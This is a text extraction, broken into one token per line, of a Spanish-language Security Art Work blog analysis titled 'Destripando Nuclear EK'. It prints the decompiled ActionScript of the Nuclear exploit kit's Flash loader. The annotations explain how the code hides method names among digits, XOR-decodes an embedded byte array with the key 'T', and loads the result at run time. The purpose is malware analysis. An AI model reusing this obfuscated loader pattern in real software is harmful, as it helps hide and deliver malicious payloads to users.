Destripando Nuclear EK - Security A
r
t
Work
-
http://www.securityartwork.es
- Adrián Macías Franco
1
package
{
2
import
flash
.
display
.
*
;
3
import
flash
.
utils
.
*
;
4
import
flash
.
events
.
*
;
5
import
flash
.
system
.
*
;
6
import
flash
.
external
.
*
;
7
8
public
class
Sfefq3fFaew
extends
MovieClip
{
9
10
public
static
const
vdbfergfwed:Class
=
pelizinooo_fix
$
066f7629d191ee84b1c973748c7f18b9626367588
;
11
12
public
function
Sfefq3fFaew
(
)
{
13
if
(
stage
)
{
14
this
.
vcbvncfdxsew3
()
;
15
}
else
{
16
addEventListener
(
"
addedToStage
"
,
this
.
vcbvncfdxsew3
)
;
17
}
;
18
}
19
public
static
function
xvcdfew4g2
(
b:ByteArray, c:String
)
:ByteArray
{
20
var
_local6:
int
;
21
var
_local5:
int
=
c
.
charCodeAt
(
0
)
;
// "T".charCodeAt(0) = 84. Usado como KEY para operación XOR.
22
var
_local3:ByteArray
=
new
ByteArray
()
;
23
var
_local4:
String
=
"
12412w4141r123213i523t52e234B4321y234t45234e524534
"
.
replace
(
/
[0-9]
/
g
,
"
"
)
;
// writeByte
24
_local6
=
0
;
25
while
(
_local6
<
b
.
length
)
{
26
_local3
[
_local4
]
((
b
[
_local6
]
^ _local5
))
;
// Aplica XOR a cada byte del ByteArray, almacenandolo en un ByteArray diferente.
27
_local6
++
;
28
}
;
29
_local3
.
position
=
0
;
30
return
(
_local3
)
;
31
}
32
public
static
function
cvbgfdxrt5y4
(
)
:Loader
{
33
return
(
new
Loader
())
;
34
}
35
36
private
function
vcbvncfdxsew3
(
_arg_1:Event=null
)
:
void
{
37
var
_local4:
*
;
38
var
_local3:
*
;
39
var
_local2:
*
;
40
var
_local5:
String
=
"
122l4321o1234a524d124B432y213t123e4324s23
"
.
replace
(
/
[0-9]
/
g
,
"
"
)
;
// loadBytes
41
removeEventListener
(
"
addedToStage
"
,
this
.
vcbvncfdxsew3
)
;
42
try
{
43
_local3
=
xvcdfew4g2
((
new
vdbfergfwed
()
as ByteArray
)
,
"
T
"
)
;
44
_local4
=
cvbgfdxrt5y4
()
;
45
_local2
=
_local4
;
46
_local2
[
_local5
]
(
_local3
)
;
// Carga en tiempo de ejecución el contenido de un ByteArray.
47
stage
.
addChild
(
_local4
)
;
48
}
catch
(
e:Error
)
{
49
}
;
50
}
51
52
}
53
}
//
package
54
55
package
{
56
import
flash
.
utils
.
*
;
57
58
public
class
pelizinooo_fix
$
066f7629d191ee84b1c973748c7f18b9626367588
extends
ByteArray
{
59
60
}
61
}
//
package